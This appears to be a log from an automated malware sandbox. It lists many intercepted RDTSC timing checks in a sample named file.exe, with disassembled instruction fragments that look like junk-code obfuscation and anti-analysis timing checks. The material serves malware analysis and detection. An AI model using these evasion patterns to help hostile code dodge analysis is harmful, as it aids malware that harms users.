Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182A13 second address: 1182A2F instructions: 0x00000000 rdtsc 0x00000002 je 00007FD1DD1E6CA2h 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007FD1DD1E6C9Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 jne 00007FD1DD1E6C96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182A2F second address: 1182A40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007FD1DCB3F646h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182A40 second address: 1182A55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182A55 second address: 1182A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 je 00007FD1DCB3F646h 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 jmp 00007FD1DCB3F64Ah 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182D3D second address: 1182D65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Ch 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD1DD1E6CA2h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182ED4 second address: 1182EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182EDA second address: 1182EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jnc 00007FD1DD1E6C9Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182EED second address: 1182F07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DCB3F656h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182F07 second address: 1182F3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD1DD1E6CA3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186392 second address: 1186398 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11865D2 second address: 118660D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007FD1DD1E6C96h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FD1DD1E6CA8h 0x00000015 jmp 00007FD1DD1E6CA2h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118660D second address: 1186622 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DCB3F651h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186622 second address: 118664C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6C9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 ja 00007FD1DD1E6C9Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118664C second address: 1186650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C5AD second address: 118C5B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C5B1 second address: 118C5BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C5BC second address: 118C5E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DD1E6C9Eh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD1DD1E6CA6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118CFCC second address: 118CFD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F393 second address: 118F3A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 js 00007FD1DD1E6C96h 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11909F6 second address: 11909FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11909FA second address: 1190A0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190A0F second address: 1190A16 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190A16 second address: 1190A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jne 00007FD1DD1E6C96h 0x0000000c jp 00007FD1DD1E6C96h 0x00000012 jg 00007FD1DD1E6C96h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b jc 00007FD1DD1E6CB2h 0x00000021 push eax 0x00000022 push edx 0x00000023 jnl 00007FD1DD1E6C96h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11232B8 second address: 11232C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD1DCB3F646h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11232C9 second address: 11232D3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD1DD1E6C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119410D second address: 119413C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FD1DCB3F64Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jns 00007FD1DCB3F646h 0x00000012 jmp 00007FD1DCB3F64Ch 0x00000017 jnp 00007FD1DCB3F646h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166415 second address: 116641F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD1DD1E6C9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116641F second address: 116642F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FD1DCB3F646h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116642F second address: 1166433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166C1B second address: 1166C35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 mov dword ptr [esp], esi 0x00000009 mov dword ptr [ebp+122D1D3Fh], eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 jnp 00007FD1DCB3F646h 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166C35 second address: 1166C3A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166CA4 second address: 1166CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F650h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11672AA second address: 11672AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11675C9 second address: 11675E3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD1DCB3F646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FD1DCB3F64Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11675E3 second address: 11675F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DD1E6C9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11675F2 second address: 1167607 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007FD1DCB3F646h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167607 second address: 1167630 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FD1DD1E6C98h 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jmp 00007FD1DD1E6CA4h 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167630 second address: 1167637 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11676B2 second address: 11676B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11676B6 second address: 11676BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11431E9 second address: 1143200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DD1E6CA3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1143200 second address: 1143204 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11943FB second address: 119440E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD1DD1E6C96h 0x00000008 jne 00007FD1DD1E6C96h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119440E second address: 1194431 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FD1DCB3F65Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194431 second address: 1194437 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194850 second address: 1194856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194856 second address: 119485A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119485A second address: 1194889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FD1DCB3F65Bh 0x00000010 jnl 00007FD1DCB3F64Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194889 second address: 11948A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD1DD1E6CA4h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11948A3 second address: 11948AD instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD1DCB3F646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11948AD second address: 11948B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11948B7 second address: 11948CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F653h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11948CE second address: 11948D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11948D2 second address: 11948D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194CA6 second address: 1194CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD1DD1E6C96h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194CB5 second address: 1194CBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194CBB second address: 1194CBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194E41 second address: 1194E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DCB3F64Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194E56 second address: 1194E5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194E5C second address: 1194E72 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FD1DCB3F650h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199A96 second address: 1199A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199A9A second address: 1199AA0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199AA0 second address: 1199AA5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199BCB second address: 1199BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD1DCB3F650h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199BE4 second address: 1199BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD1DD1E6C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A049 second address: 119A055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD1DCB3F646h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1199797 second address: 11997DE instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD1DD1E6C96h 0x00000008 jmp 00007FD1DD1E6CA1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007FD1DD1E6CB5h 0x00000015 pushad 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A42A second address: 119A42E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A42E second address: 119A432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F40C second address: 119F410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F706 second address: 119F70C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119F70C second address: 119F710 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FC44 second address: 119FC55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD1DD1E6C9Ch 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FC55 second address: 119FC61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnc 00007FD1DCB3F646h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FC61 second address: 119FC65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FC65 second address: 119FC6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FDC1 second address: 119FDCB instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD1DD1E6C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FDCB second address: 119FDFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FD1DCB3F646h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007FD1DCB3F657h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jbe 00007FD1DCB3F646h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FDFA second address: 119FE08 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD1DD1E6C96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119FE08 second address: 119FE0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A021D second address: 11A0227 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD1DD1E6C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A384D second address: 11A386E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FD1DCB3F659h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A386E second address: 11A3873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA446 second address: 11AA464 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD1DCB3F64Ah 0x00000008 jmp 00007FD1DCB3F64Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA464 second address: 11AA476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 je 00007FD1DD1E6C96h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA744 second address: 11AA775 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f push ebx 0x00000010 jnl 00007FD1DCB3F646h 0x00000016 jmp 00007FD1DCB3F656h 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f pop edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA775 second address: 11AA77F instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD1DD1E6C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE281 second address: 11AE286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE286 second address: 11AE28D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE28D second address: 11AE2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007FD1DCB3F652h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE2AC second address: 11AE2B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2753 second address: 11B2771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 jmp 00007FD1DCB3F656h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B289E second address: 11B28C1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD1DD1E6CA6h 0x00000008 jmp 00007FD1DD1E6C9Ah 0x0000000d jno 00007FD1DD1E6C96h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jg 00007FD1DD1E6C96h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2BBD second address: 11B2BC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2BC3 second address: 11B2BDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD1DD1E6CA6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B2BDD second address: 11B2BEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jc 00007FD1DCB3F64Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
